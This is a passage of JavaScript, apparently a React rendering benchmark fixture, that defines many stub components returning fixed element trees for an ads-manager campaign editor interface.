{\n      return React.createElement(\n        'div',\n        {size: 'large', className: 'uiPopover _6a _6b', disabled: null},\n        React.createElement(XUIButton4, {x: 100, key: '.0'})\n      );\n    }\n    if (props.x === 273) {\n      return React.createElement(\n        'div',\n        {\n          className: '_3-90 uiPopover _6a _6b',\n          style: {marginTop: 2},\n          disabled: null,\n        },\n        React.createElement(ReactXUIPopoverButton6, {x: 272, key: '.0'})\n      );\n    }\n  };\n\n  var ReactPopoverMenu20 = function (props) {\n    if (props.x === 31) {\n      return React.createElement(InlineBlock19, {x: 30});\n    }\n    if (props.x === 74) {\n      return React.createElement(InlineBlock19, {x: 73});\n    }\n    if (props.x === 83) {\n      return React.createElement(InlineBlock19, {x: 82});\n    }\n    if (props.x === 102) {\n      return React.createElement(InlineBlock19, {x: 101});\n    }\n    if (props.x === 274) {\n      return React.createElement(InlineBlock19, {x: 273});\n    }\n  };\n\n  var LeftRight21 = function (props) {\n    if (props.x === 34) {\n      return React.createElement(\n        'div',\n        {className: 'clearfix'},\n        React.createElement(\n          'div',\n          {key: 'left', className: '_ohe lfloat'},\n          React.createElement(\n            'div',\n            {className: '_34_j'},\n            React.createElement(\n              'div',\n              {className: '_34_k'},\n              React.createElement(AdsErrorBoundary10, {x: 10})\n            ),\n            React.createElement(\n              'div',\n              {className: '_2u-6'},\n              React.createElement(AdsErrorBoundary10, {x: 14})\n            )\n          )\n        ),\n        React.createElement(\n          'div',\n          {key: 'right', className: '_ohf rfloat'},\n          React.createElement(\n            'div',\n            {className: '_34_m'},\n            React.createElement(\n              'div',\n              {key: '0', className: '_5ju2'},\n              React.createElement(AdsErrorBoundary10, {x: 28})\n            ),\n            React.createElement(\n              'div',\n              {key: '1', className: '_5ju2'},\n              React.createElement(AdsErrorBoundary10, {x: 33})\n            )\n          )\n        )\n      );\n    }\n    if (props.x === 232) {\n      return React.createElement(\n        'div',\n        {direction: 'left', className: 'clearfix'},\n        React.createElement(\n          'div',\n          {key: 'left', className: '_ohe lfloat'},\n          React.createElement(AdsLabeledField104, {x: 231})\n        ),\n        React.createElement(\n          'div',\n          {key: 'right', className: ''},\n          React.createElement(\n            'div',\n            {className: '_42ef'},\n            React.createElement(\n              'div',\n              {className: '_2oc7'},\n              'Clicks to Website'\n            )\n          )\n        )\n      );\n    }\n    if (props.x === 235) {\n      return React.createElement(\n        'div',\n        {className: '_3-8x clearfix', direction: 'left'},\n        React.createElement(\n          'div',\n          {key: 'left', className: '_ohe lfloat'},\n          React.createElement(AdsLabeledField104, {x: 234})\n        ),\n        React.createElement(\n          'div',\n          {key: 'right', className: ''},\n          React.createElement(\n            'div',\n            {className: '_42ef'},\n            React.createElement('div', {className: '_2oc7'}, 'Auction')\n          )\n        )\n      );\n    }\n    if (props.x === 245) {\n      return React.createElement(\n        'div',\n        {className: '_3-8y clearfix', direction: 'left'},\n        React.createElement(\n          'div',\n          {key: 'left', className: '_ohe lfloat'},\n          React.createElement(AdsLabeledField104, {x: 240})\n        ),\n        React.createElement(\n          'div',\n          {key: 'right', className: ''},\n          React.createElement(\n            'div',\n            {className: '_42ef'},\n            React.createElement(\n              FluxContainer_AdsCampaignGroupSpendCapContainer_107,\n              {x: 244}\n            )\n          )\n        )\n      );\n    }\n    if (props.x === 277) {\n      return React.createElement(\n        'div',\n        {className: '_5dw9 _5dwa clearfix'},\n        React.createElement(\n          'div',\n          {key: 'left', className: '_ohe lfloat'},\n          React.createElement(XUICardHeaderTitle100, {x: 265, key: '.0'})\n        ),\n        React.createElement(\n          'div',\n          {key: 'right', className: '_ohf rfloat'},\n          React.createElement(\n            FluxContainer_AdsPluginizedLinksMenuContainer_121,\n            {x: 276, key: '.1'}\n          )\n        )\n      );\n    }\n  };\n\n  var AdsUnifiedNavigationLocalNav22 = function (props) {\n    if (props.x === 35) {\n      return React.createElement(\n        'div',\n        {className: '_34_i'},\n        React.createElement(LeftRight21, {x: 34})\n      );\n    }\n  };\n\n  var XUIDialog23 = function (props) {\n    if (props.x === 36) {\n      return null;\n    }\n  };\n\n  var AdsPEResetDialog24 = function (props) {\n    if (props.x === 37) {\n      return React.createElement(\n        'span',\n        null,\n        React.createElement(XUIDialog23, {x: 36, key: 'dialog/.0'})\n      );\n    }\n  };\n\n  var AdsPETopNav25 = function (props) {\n    if (props.x === 40) {\n      return React.createElement(\n        'div',\n        {style: {width: 1306}},\n        React.createElement(AdsUnifiedNavigationLocalNav22, {x: 35}),\n        React.createElement(AdsErrorBoundary10, {x: 39})\n      );\n    }\n  };\n\n  var FluxContainer_AdsPETopNavContainer_26 = function (props) {\n    if (props.x === 41) {\n      return React.createElement(AdsPETopNav25, {x: 40});\n    }\n  };\n\n  var XUIAbstractGlyphButton27 = function (props) {\n    if (props.x === 46) {\n      return React.createElement(AbstractButton3, {x: 45});\n    }\n    if (props.x === 150) {\n      return React.createElement(AbstractButton3, {x: 149});\n    }\n  };\n\n  var XUICloseButton28 = function (props) {\n    if (props.x === 47) {\n      return React.createElement(XUIAbstractGlyphButton27, {x: 46});\n    }\n    if (props.x === 151) {\n      return React.createElement(XUIAbstractGlyphButton27, {x: 150});\n    }\n  };\n\n  var XUIText29 = function (props) {\n    if (props.x === 48) {\n      return React.createElement(\n        'span',\n        {display: 'inline', className: ' _50f7'},\n        'Ads Manager'\n      );\n    }\n    if (props.x === 205) {\n      return React.createElement(\n        'span',\n        {className: '_2x9f  _50f5 _50f7', display: 'inline'},\n        'Editing Campaign'\n      );\n    }\n    if (props.x === 206) {\n      return React.createElement(\n        'span',\n        {display: 'inline', className: ' _50f5 _50f7'},\n        'Test Campaign'\n      );\n    }\n  };\n\n  var XUINotice30 = function (props) {\n    if (props.x === 51) {\n      return React.createElement(\n        'div',\n        {size: 'medium', className: '_585n _585o _2wdd'},\n        React.createElement(ReactImage0, {x: 42}),\n        React.createElement(XUICloseButton28, {x: 47}),\n        React.createElement(\n          'div',\n          {className: '_585r _2i-a _50f4'},\n          'Please go to ',\n          React.createElement(Link2, {x: 50}),\n          ' to set up a payment method for this ad account.'\n        )\n      );\n    }\n  };\n\n  var ReactCSSTransitionGroupChild31 = function (props) {\n    if (props.x === 52) {\n      return React.createElement(XUINotice30, {x: 51});\n    }\n  };\n\n  var ReactTransitionGroup32 = function (props) {\n    if (props.x === 53) {\n      return React.createElement(\n        'span',\n        null,\n        React.createElement(ReactCSSTransitionGroupChild31, {x: 52, key: '.0'})\n      );\n    }\n  };\n\n  var ReactCSSTransitionGroup33 = function (props) {\n    if (props.x === 54) {\n      return React.createElement(ReactTransitionGroup32, {x: 53});\n    }\n  };\n\n  var AdsPETopError34 = function (props) {\n    if (props.x === 55) {\n      return React.createElement(\n        'div',\n        {className: '_2wdc'},\n        React.createElement(ReactCSSTransitionGroup33, {x: 54})\n      );\n    }\n  };\n\n  var FluxContainer_AdsPETopErrorContainer_35 = function (props) {\n    if (props.x === 56) {\n      return React.createElement(AdsPETopError34, {x: 55});\n    }\n  };\n\n  var FluxContainer_AdsGuidanceChannel_36 = function (props) {\n    if (props.x === 59) {\n      return null;\n    }\n  };\n\n  var ResponsiveBlock37 = function (props) {\n    if (props.x === 62) {\n      return React.createElement(\n        'div',\n        {className: '_4u-c'},\n        [\n          React.createElement(AdsErrorBoundary10, {x: 58, key: 1}),\n          React.createElement(AdsErrorBoundary10, {x: 61, key: 2}),\n        ],\n        React.createElement(\n          'div',\n          {key: 'sensor', className: '_4u-f'},\n          React.createElement('iframe', {\n            'aria-hidden': 'true',\n            className: '_1_xb',\n            tabIndex: '-1',\n          })\n        )\n      );\n    }\n    if (props.x === 469) {\n      return React.createElement(\n        'div',\n        {className: '_4u-c'},\n        React.createElement(AdsPEDataTableContainer158, {x: 468}),\n        React.createElement(\n          'div',\n          {key: 'sensor', className: '_4u-f'},\n          React.createElement('iframe', {\n            'aria-hidden': 'true',\n            className: '_1_xb',\n            tabIndex: '-1',\n          })\n        )\n      );\n    }\n  };\n\n  var FluxContainer_AdsBulkEditDialogContainer_38 = function (props) {\n    if (props.x === 63) {\n      return null;\n    }\n  };\n\n  var Column39 = function (props) {\n    if (props.x === 66) {\n      return React.createElement(\n        'div',\n        {className: '_4bl8 _4bl7'},\n        React.createElement(\n          'div',\n          {className: '_3c5f'},\n          null,\n          null,\n          React.createElement('div', {className: '_3c5i'}),\n          null\n        )\n      );\n    }\n  };\n\n  var XUIButtonGroup40 = function (props) {\n    if (props.x === 75) {\n      return React.createElement(\n        'div',\n        {className: '_5n7z _51xa'},\n        React.createElement(XUIButton4, {x: 69}),\n        React.createElement(ReactPopoverMenu20, {x: 74})\n      );\n    }\n    if (props.x === 84) {\n      return React.createElement(\n        'div',\n        {className: '_5n7z _51xa'},\n        React.createElement(XUIButton4, {x: 78, key: 'edit'}),\n        React.createElement(ReactPopoverMenu20, {x: 83, key: 'editMenu'})\n      );\n    }\n    if (props.x === 97) {\n      return React.createElement(\n        'div',\n        {className: '_5n7z _51xa'},\n        React.createElement(XUIButton4, {x: 90, key: 'revert'}),\n        React.createElement(XUIButton4, {x: 93, key: 'delete'}),\n        React.createElement(XUIButton4, {x: 96, key: 'duplicate'})\n      );\n    }\n    if (props.x === 117) {\n      return React.createElement(\n        'div',\n        {className: '_5n7z _51xa'},\n        React.createElement(AdsPEExportImportMenuContainer48, {x: 107}),\n        React.createElement(XUIButton4, {x: 110, key: 'createReport'}),\n        React.createElement(AdsPECampaignGroupTagContainer51, {\n          x: 116,\n          key: 'tags',\n        })\n      );\n    }\n  };\n\n  var AdsPEEditToolbarButton41 = function (props) {\n    if (props.x === 85) {\n      return React.createElement(XUIButtonGroup40, {x: 84});\n    }\n  };\n\n  var FluxContainer_AdsPEEditCampaignGroupToolbarButtonContainer_42 = function (\n    props\n  ) {\n    if (props.x === 86) {\n      return React.createElement(AdsPEEditToolbarButton41, {x: 85});\n    }\n  };\n\n  var FluxContainer_AdsPEEditToolbarButtonContainer_43 = function (props) {\n    if (props.x === 87) {\n      return React.createElement(\n        FluxContainer_AdsPEEditCampaignGroupToolbarButtonContainer_42,\n        {x: 86}\n      );\n    }\n  };\n\n  var AdsPEExportImportMenu44 = function (props) {\n    if (props.x === 103) {\n      return React.createElement(ReactPopoverMenu20, {x: 102, key: 'export'});\n    }\n  };\n\n  var FluxContainer_AdsPECustomizeExportContainer_45 = function (props) {\n    if (props.x === 104) {\n      return null;\n    }\n  };\n\n  var AdsPEExportAsTextDialog46 = function (props) {\n    if (props.x === 105) {\n      return null;\n    }\n  };\n\n  var FluxContainer_AdsPEExportAsTextDialogContainer_47 = function (props) {\n    if (props.x === 106) {\n      return React.createElement(AdsPEExportAsTextDialog46, {x: 105});\n    }\n  };\n\n  var AdsPEExportImportMenuContainer48 = function (props) {\n    if (props.x === 107) {\n      return React.createElement(\n        'span',\n        null,\n        React.createElement(AdsPEExportImportMenu44, {x: 103}),\n        React.createElement(FluxContainer_AdsPECustomizeExportContainer_45, {\n          x: 104,\n        }),\n        React.createElement(FluxContainer_AdsPEExportAsTextDialogContainer_47, {\n          x: 106,\n        }),\n        null,\n        null\n      );\n    }\n  };\n\n  var Constructor49 = function (props) {\n    if (props.x === 114) {\n      return null;\n    }\n    if (props.x === 142) {\n      return null;\n    }\n    if (props.x === 143) {\n      return null;\n    }\n    if (props.x === 183) {\n      return null;\n    }\n  };\n\n  var TagSelectorPopover50 = function (props) {\n    if (props.x === 115) {\n      return React.createElement(\n        'span',\n        {className: ' _3d6e'},\n        React.createElement(XUIButton4, {x: 113}),\n        React.createElement(Constructor49, {x: 114, key: 'layer'})\n      );\n    }\n  };\n\n  var AdsPECampaignGroupTagContainer51 = function (props) {\n    if (props.x === 116) {\n      return React.createElement(TagSelectorPopover50, {\n        x: 115,\n        key: '98010048849317',\n      });\n    }\n  };\n\n  var AdsRuleToolbarMenu52 = function (props) {\n    if (props.x === 118) {\n      return null;\n    }\n  };\n\n  var FluxContainer_AdsPERuleToolbarMenuContainer_53 = function (props) {\n    if (props.x === 119) {\n      return React.createElement(AdsRuleToolbarMenu52, {x: 118});\n    }\n  };\n\n  var FillColumn54 = function (props) {\n    if (props.x === 120) {\n      return React.createElement(\n        'div',\n        {className: '_4bl9'},\n        React.createElement(\n          'span',\n          {className: '_3c5e'},\n          React.createElement(\n            'span',\n            null,\n            React.createElement(XUIButtonGroup40, {x: 75}),\n            React.createElement(\n              FluxContainer_AdsPEEditToolbarButtonContainer_43,\n              {x: 87}\n            ),\n            null,\n            React.createElement(XUIButtonGroup40, {x: 97})\n          ),\n          React.createElement(XUIButtonGroup40, {x: 117}),\n          React.createElement(FluxContainer_AdsPERuleToolbarMenuContainer_53, {\n            x: 119,\n          })\n        )\n      );\n    }\n  };\n\n  var Layout55 = function (props) {\n    if (props.x === 121) {\n      return React.createElement(\n        'div',\n        {className: 'clearfix'},\n        React.createElement(Column39, {x: 66, key: '1'}),\n        React.createElement(FillColumn54, {x: 120, key: '0'})\n      );\n    }\n  };\n\n  var AdsPEMainPaneToolbar56 = function (props) {\n    if (props.x === 122) {\n      return React.createElement(\n        'div',\n        {className: '_3c5b clearfix'},\n        React.createElement(Layout55, {x: 121})\n      );\n    }\n  };\n\n  var AdsPECampaignGroupToolbarContainer57 = function (props) {\n    if (props.x === 123) {\n      return React.createElement(AdsPEMainPaneToolbar56, {x: 122});\n    }\n  };\n\n  var AdsPEFiltersPopover58 = function (props) {\n    if (props.x === 144) {\n      return React.createElement(\n        'span',\n        {className: '_5b-l  _5bbe'},\n        React.createElement(ReactXUIPopoverButton6, {x: 133}),\n        React.createElement(ReactXUIPopoverButton6, {x: 141}),\n        [\n          React.createElement(Constructor49, {x: 142, key: 'filterMenu/.0'}),\n          React.createElement(Constructor49, {x: 143, key: 'searchMenu/.0'}),\n        ]\n      );\n    }\n  };\n\n  var AbstractCheckboxInput59 = function (props) {\n    if (props.x === 145) {\n      return React.createElement(\n        'label',\n        {className: 'uiInputLabelInput _55sg _kv1'},\n        React.createElement('input', {\n          checked: true,\n          disabled: true,\n          name: 'filterUnpublished',\n          value: 'on',\n          onClick: function () {},\n          className: null,\n          id: 'js_input_label_21',\n          type: 'checkbox',\n        }),\n        React.createElement('span', {\n          'data-hover': null,\n          'data-tooltip-content': undefined,\n        })\n      );\n    }\n    if (props.x === 336) {\n      return React.createElement(\n        'label',\n        {className: '_4h2r _55sg _kv1'},\n        React.createElement('input', {\n          checked: undefined,\n          onChange: function () {},\n          className: null,\n          type: 'checkbox',\n        }),\n        React.createElement('span', {\n          'data-hover': null,\n          'data-tooltip-content': undefined,\n        })\n      );\n    }\n  };\n\n  var XUICheckboxInput60 = function (props) {\n    if (props.x === 146) {\n      return React.createElement(AbstractCheckboxInput59, {x: 145});\n    }\n    if (props.x === 337) {\n      return React.createElement(AbstractCheckboxInput59, {x: 336});\n    }\n  };\n\n  var InputLabel61 = function (props) {\n    if (props.x === 147) {\n      return React.createElement(\n        'div',\n        {display: 'block', className: 'uiInputLabel clearfix'},\n        React.createElement(XUICheckboxInput60, {x: 146}),\n        React.createElement(\n          'label',\n          {className: 'uiInputLabelLabel', htmlFor: 'js_input_label_21'},\n          'Always show new items'\n        )\n      );\n    }\n  };\n\n  var AdsPopoverLink62 = function (props) {\n    if (props.x === 154) {\n      return React.createElement(\n        'span',\n        null,\n        React.createElement(\n          'span',\n          {\n            onMouseEnter: function () {},\n            onMouseLeave: function () {},\n            onMouseUp: undefined,\n          },\n          React.createElement('span', {className: '_3o_j'}),\n          React.createElement(ReactImage0, {x: 153})\n        ),\n        null\n      );\n    }\n    if (props.x === 238) {\n      return React.createElement(\n        'span',\n        null,\n        React.createElement(\n          'span',\n          {\n            onMouseEnter: function () {},\n            onMouseLeave: function () {},\n            onMouseUp: undefined,\n          },\n          React.createElement('span', {className: '_3o_j'}),\n          React.createElement(ReactImage0, {x: 237})\n        ),\n        null\n      );\n    }\n  };\n\n  var AdsHelpLink63 = function (props) {\n    if (props.x === 155) {\n      return React.createElement(AdsPopoverLink62, {x: 154});\n    }\n    if (props.x === 239) {\n      return React.createElement(AdsPopoverLink62, {x: 238});\n    }\n  };\n\n  var BUIFilterTokenInput64 = function (props) {\n    if (props.x === 158) {\n      return React.createElement(\n        'div',\n        {className: '_5b5o _3yz3 _4cld'},\n        React.createElement(\n          'div',\n          {className: '_5b5t _2d2k'},\n          React.createElement(ReactImage0, {x: 152}),\n          React.createElement(\n            'div',\n            {className: '_5b5r'},\n            'Campaigns: (1)',\n            React.createElement(AdsHelpLink63, {x: 155})\n          )\n        ),\n        React.createElement(XUIButton4, {x: 157})\n      );\n    }\n  };\n\n  var BUIFilterToken65 = function (props) {\n    if (props.x === 159) {\n      return React.createElement(\n        'div',\n        {className: '_3yz1 _3yz2 _3dad'},\n        React.createElement(\n          'div',\n          {className: '_3yz4', 'aria-hidden': false},\n          React.createElement(\n            'div',\n            {onClick: function () {}, className: '_3yz5'},\n            React.createElement(ReactImage0, {x: 148}),\n            React.createElement('div', {className: '_3yz7'}, 'Campaigns:'),\n            React.createElement(\n              'div',\n              {\n                className: 'ellipsis _3yz8',\n                'data-hover': 'tooltip',\n                'data-tooltip-display': 'overflow',\n              },\n              '(1)'\n            )\n          ),\n          null,\n          React.createElement(XUICloseButton28, {x: 151})\n        ),\n        React.createElement(BUIFilterTokenInput64, {x: 158})\n      );\n    }\n  };\n\n  var BUIFilterTokenCreateButton66 = function (props) {\n    if (props.x === 163) {\n      return React.createElement(\n        'div',\n        {className: '_1tc'},\n        React.createElement(XUIButton4, {x: 162})\n      );\n    }\n  };\n\n  var BUIFilterTokenizer67 = function (props) {\n    if (props.x === 164) {\n      return React.createElement(\n        'div',\n        {className: '_5b-m  clearfix'},\n        undefined,\n        [],\n        React.createElement(BUIFilterToken65, {x: 159, key: 'token0'}),\n        React.createElement(BUIFilterTokenCreateButton66, {x: 163}),\n        null,\n        React.createElement('div', {className: '_49u3'})\n      );\n    }\n  };\n\n  var XUIAmbientNUX68 = function (props) {\n    if (props.x === 165) {\n      return null;\n    }\n    if (props.x === 189) {\n      return null;\n    }\n    if (props.x === 200) {\n      return null;\n    }\n  };\n\n  var XUIAmbientNUX69 = function (props) {\n    if (props.x === 166) {\n      return React.createElement(XUIAmbientNUX68, {x: 165});\n    }\n    if (props.x === 190) {\n      return React.createElement(XUIAmbientNUX68, {x: 189});\n    }\n    if (props.x === 201) {\n      return React.createElement(XUIAmbientNUX68, {x: 200});\n    }\n  };\n\n  var AdsPEAmbientNUXMegaphone70 = function (props) {\n    if (props.x === 167) {\n      return React.createElement(\n        'span',\n        null,\n        React.createElement('span', {}),\n        React.createElement(XUIAmbientNUX69, {x: 166, key: 'nux'})\n      );\n    }\n  };\n\n  var AdsPEFilters71 = function (props) {\n    if (props.x === 168) {\n      return React.createElement(\n        'div',\n        {className: '_4rw_'},\n        React.createElement(AdsPEFiltersPopover58, {x: 144}),\n        React.createElement(\n          'div',\n          {className: '_1eo'},\n          React.createElement(InputLabel61, {x: 147})\n        ),\n        React.createElement(BUIFilterTokenizer67, {x: 164}),\n        '',\n        React.createElement(AdsPEAmbientNUXMegaphone70, {x: 167})\n      );\n    }\n  };\n\n  var AdsPEFilterContainer72 = function (props) {\n    if (props.x === 169) {\n      return React.createElement(AdsPEFilters71, {x: 168});\n    }\n  };\n\n  var AdsPETablePager73 = function (props) {\n    if (props.x === 172) {\n      return null;\n    }\n  };\n\n  var AdsPECampaignGroupTablePagerContainer74 = function (props) {\n    if (props.x === 173) {\n      return React.createElement(AdsPETablePager73, {x: 172});\n    }\n  };\n\n  var AdsPETablePagerContainer75 = function (props) {\n    if (props.x === 174) {\n      return React.createElement(AdsPECampaignGroupTablePagerContainer74, {\n        x: 173,\n      });\n    }\n  };\n\n  var ReactXUIError76 = function (props) {\n    if (props.x === 181) {\n      return React.createElement(AbstractButton3, {x: 180});\n    }\n    if (props.x === 216) {\n      return React.createElement(\n        'div',\n        {className: '_40bf _2vl4 _1h18'},\n        null,\n        null,\n        React.createElement(\n          'div',\n          {className: '_2vl9 _1h1f', style: {backgroundColor: '#fff'}},\n          React.createElement(\n            'div',\n            {className: '_2vla _1h1g'},\n            React.createElement(\n              'div',\n              null,\n              null,\n              React.createElement('textarea', {\n                className: '_2vli _2vlj _1h26 _1h27',\n                dir: 'auto',\n                disabled: undefined,\n                id: undefined,\n                maxLength: null,\n                value: 'Test Campaign',\n                onBlur: function () {},\n                onChange: function () {},\n                onFocus: function () {},\n                onKeyDown: function () {},\n              }),\n              null\n            ),\n            React.createElement('div', {\n              'aria-hidden': 'true',\n              className: '_2vlk',\n            })\n          )\n        ),\n        null\n      );\n    }\n    if (props.x === 221) {\n      return React.createElement(XUICard94, {x: 220});\n    }\n    if (props.x === 250) {\n      return React.createElement(XUICard94, {x: 249});\n    }\n    if (props.x === 280) {\n      return React.createElement(XUICard94, {x: 279});\n    }\n  };\n\n  var BUIPopoverButton77 = function (props) {\n    if (props.x === 182) {\n      return React.createElement(ReactXUIError76, {x: 181});\n    }\n  };\n\n  var BUIDateRangePicker78 = function (props) {\n    if (props.x === 184) {\n      return React.createElement(\n        'span',\n        null,\n        React.createElement(BUIPopoverButton77, {x: 182}),\n        [React.createElement(Constructor49, {x: 183, key: 'layer/.0'})]\n      );\n    }\n  };\n\n  var AdsPEStatsRangePicker79 = function (props) {\n    if (props.x === 185) {\n      return React.createElement(BUIDateRangePicker78, {x: 184});\n    }\n  };\n\n  var AdsPEStatRange80 = function (props) {\n    if (props.x === 191) {\n      return React.createElement(\n        'div',\n        {className: '_3c5k'},\n        React.createElement('span', {className: '_3c5j'}, 'Stats:'),\n        React.createElement(\n          'span',\n          {className: '_3c5l'},\n          React.createElement(AdsPEStatsRangePicker79, {x: 185}),\n          React.createElement(XUIButton4, {x: 188, key: 'settings'})\n        ),\n        [React.createElement(XUIAmbientNUX69, {x: 190, key: 'roasNUX/.0'})]\n      );\n    }\n  };\n\n  var AdsPEStatRangeContainer81 = function (props) {\n    if (props.x === 192) {\n      return React.createElement(AdsPEStatRange80, {x: 191});\n    }\n  };\n\n  var AdsPESideTrayTabButton82 = function (props) {\n    if (props.x === 196) {\n      return React.createElement(\n        'div',\n        {className: '_1-ly _59j9 _d9a', onClick: function () {}},\n        React.createElement(ReactImage0, {x: 195}),\n        React.createElement('div', {className: '_vf7'}),\n        React.createElement('div', {className: '_vf8'})\n      );\n    }\n    if (props.x === 199) {\n      return React.createElement(\n        'div',\n        {className: ' _1-lz _d9a', onClick: function () {}},\n        React.createElement(ReactImage0, {x: 198}),\n        React.createElement('div', {className: '_vf7'}),\n        React.createElement('div', {className: '_vf8'})\n      );\n    }\n    if (props.x === 203) {\n      return null;\n    }\n  };\n\n  var AdsPEEditorTrayTabButton83 = function (props) {\n    if (props.x === 197) {\n      return React.createElement(AdsPESideTrayTabButton82, {x: 196});\n    }\n  };\n\n  var AdsPEInsightsTrayTabButton84 = function (props) {\n    if (props.x === 202) {\n      return React.createElement(\n        'span',\n        null,\n        React.createElement(AdsPESideTrayTabButton82, {x: 199}),\n        React.createElement(XUIAmbientNUX69, {x: 201, key: 'roasNUX'})\n      );\n    }\n  };\n\n  var AdsPENekoDebuggerTrayTabButton85 = function (props) {\n    if (props.x === 204) {\n      return React.createElement(AdsPESideTrayTabButton82, {x: 203});\n    }\n  };\n\n  var AdsPEEditorChildLink86 = function (props) {\n    if (props.x === 211) {\n      return React.createElement(\n        'div',\n        {className: '_3ywr'},\n        React.createElement(Link2, {x: 208}),\n        React.createElement('span', {className: '_3ywq'}, '|'),\n        React.createElement(Link2, {x: 210})\n      );\n    }\n  };\n\n  var AdsPEEditorChildLinkContainer87 = function (props) {\n    if (props.x === 212) {\n      return React.createElement(AdsPEEditorChildLink86, {x: 211});\n    }\n  };\n\n  var AdsPEHeaderSection88 = function (props) {\n    if (props.x === 213) {\n      return React.createElement(\n        'div',\n        {className: '_yke'},\n        React.createElement('div', {className: '_2x9d _pr-'}),\n        React.createElement(XUIText29, {x: 205}),\n        React.createElement(\n          'div',\n          {className: '_3a-a'},\n          React.createElement(\n            'div',\n            {className: '_3a-b'},\n            React.createElement(XUIText29, {x: 206})\n          )\n        ),\n        React.createElement(AdsPEEditorChildLinkContainer87, {x: 212})\n      );\n    }\n  };\n\n  var AdsPECampaignGroupHeaderSectionContainer89 = function (props) {\n    if (props.x === 214) {\n      return React.createElement(AdsPEHeaderSection88, {x: 213});\n    }\n  };\n\n  var AdsEditorLoadingErrors90 = function (props) {\n    if (props.x === 215) {\n      return null;\n    }\n  };\n\n  var AdsTextInput91 = function (props) {\n    if (props.x === 217) {\n      return React.createElement(ReactXUIError76, {x: 216});\n    }\n  };\n\n  var BUIFormElement92 = function (props) {\n    if (props.x === 218) {\n      return React.createElement(\n        'div',\n        {className: '_5521 clearfix'},\n        React.createElement(\n          'div',\n          {className: '_5522 _3w5q'},\n          React.createElement(\n            'label',\n            {\n              onClick: undefined,\n              htmlFor: '1467872040612:1961945894',\n              className: '_5523 _3w5r',\n            },\n            'Campaign Name',\n            null\n          )\n        ),\n        React.createElement(\n          'div',\n          {className: '_5527'},\n          React.createElement(\n            'div',\n            {className: '_5528'},\n            React.createElement(\n              'span',\n              {key: '.0', className: '_40bg', id: '1467872040612:1961945894'},\n              React.createElement(AdsTextInput91, {\n                x: 217,\n                key: 'nameEditor98010048849317',\n              }),\n              null\n            )\n          ),\n          null\n        )\n      );\n    }\n  };\n\n  var BUIForm93 = function (props) {\n    if (props.x === 219) {\n      return React.createElement(\n        'div',\n        {className: '_5ks1 _550r  _550t _550y _3w5n'},\n        React.createElement(BUIFormElement92, {x: 218, key: '.0'})\n      );\n    }\n  };\n\n  var XUICard94 = function (props) {\n    if (props.x === 220) {\n      return React.createElement(\n        'div',\n        {className: '_40bc _12k2 _4-u2  _4-u8'},\n        React.createElement(BUIForm93, {x: 219})\n      );\n    }\n    if (props.x === 249) {\n      return React.createElement(\n        'div',\n        {className: '_12k2 _4-u2  _4-u8'},\n        React.createElement(AdsCardHeader103, {x: 230}),\n        React.createElement(AdsCardSection108, {x: 248})\n      );\n    }\n    if (props.x === 279) {\n      return React.createElement(\n        'div',\n        {className: '_12k2 _4-u2  _4-u8'},\n        React.createElement(AdsCardLeftRightHeader122, {x: 278})\n      );\n    }\n  };\n\n  var AdsCard95 = function (props) {\n    if (props.x === 222) {\n      return React.createElement(ReactXUIError76, {x: 221});\n    }\n    if (props.x === 251) {\n      return React.createElement(ReactXUIError76, {x: 250});\n    }\n    if (props.x === 281) {\n      return React.createElement(ReactXUIError76, {x: 280});\n    }\n  };\n\n  var AdsEditorNameSection96 = function (props) {\n    if (props.x === 223) {\n      return React.createElement(AdsCard95, {x: 222});\n    }\n  };\n\n  var AdsCampaignGroupNameSectionContainer97 = function (props) {\n    if (props.x === 224) {\n      return React.createElement(AdsEditorNameSection96, {\n        x: 223,\n        key: 'nameSection98010048849317',\n      });\n    }\n  };\n\n  var _render98 = function (props) {\n    if (props.x === 225) {\n      return React.createElement(AdsCampaignGroupNameSectionContainer97, {\n        x: 224,\n      });\n    }\n  };\n\n  var AdsPluginWrapper99 = function (props) {\n    if (props.x === 226) {\n      return React.createElement(_render98, {x: 225});\n    }\n    if (props.x === 255) {\n      return React.createElement(_render111, {x: 254});\n    }\n    if (props.x === 258) {\n      return React.createElement(_render113, {x: 257});\n    }\n    if (props.x === 287) {\n      return React.createElement(_render127, {x: 286});\n    }\n    if (props.x === 291) {\n      return React.createElement(_render130, {x: 290});\n    }\n  };\n\n  var XUICardHeaderTitle100 = function (props) {\n    if (props.x === 227) {\n      return React.createElement(\n        'span',\n        {className: '_38my'},\n        'Campaign Details',\n        null,\n        React.createElement('span', {className: '_c1c'})\n      );\n    }\n    if (props.x === 265) {\n      return React.createElement(\n        'span',\n        {className: '_38my'},\n        [\n          React.createElement(\n            'span',\n            {key: 1},\n            'Campaign ID',\n            ': ',\n            '98010048849317'\n          ),\n          React.createElement(\n            'div',\n            {className: '_5lh9', key: 2},\n            React.createElement(\n              FluxContainer_AdsCampaignGroupStatusSwitchContainer_119,\n              {x: 264}\n            )\n          ),\n        ],\n        null,\n        React.createElement('span', {className: '_c1c'})\n      );\n    }\n  };\n\n  var XUICardSection101 = function (props) {\n    if (props.x === 228) {\n      return React.createElement(\n        'div',\n        {className: '_5dw9 _5dwa _4-u3'},\n        [React.createElement(XUICardHeaderTitle100, {x: 227, key: '.0'})],\n        undefined,\n        undefined,\n        React.createElement('div', {className: '_3s3-'})\n      );\n    }\n    if (props.x === 247) {\n      return React.createElement(\n        'div',\n        {className: '_12jy _4-u3'},\n        React.createElement(\n          'div',\n          {className: '_3-8j'},\n          React.createElement(FlexibleBlock105, {x: 233}),\n          React.createElement(FlexibleBlock105, {x: 236}),\n          React.createElement(FlexibleBlock105, {x: 246}),\n          null,\n          null\n        )\n      );\n    }\n  };\n\n  var XUICardHeader102 = function (props) {\n    if (props.x === 229) {\n      return React.createElement(XUICardSection101, {x: 228});\n    }\n  };\n\n  var AdsCardHeader103 = function (props) {\n    if (props.x === 230) {\n      return React.createElement(XUICardHeader102, {x: 229});\n    }\n  };\n\n  var AdsLabeledField104 = function (props) {\n    if (props.x === 231) {\n      return React.createElement(\n        'div',\n        {className: '_2oc6 _3bvz', label: 'Objective'},\n        React.createElement(\n          'label',\n          {className: '_4el4 _3qwj _3hy-', htmlFor: undefined},\n          'Objective '\n        ),\n        null,\n        React.createElement('div', {className: '_3bv-'})\n      );\n    }\n    if (props.x === 234) {\n      return React.createElement(\n        'div',\n        {className: '_2oc6 _3bvz', label: 'Buying Type'},\n        React.createElement(\n          'label',\n          {className: '_4el4 _3qwj _3hy-', htmlFor: undefined},\n          'Buying Type '\n        ),\n        null,\n        React.createElement('div', {className: '_3bv-'})\n      );\n    }\n    if (props.x === 240) {\n      return 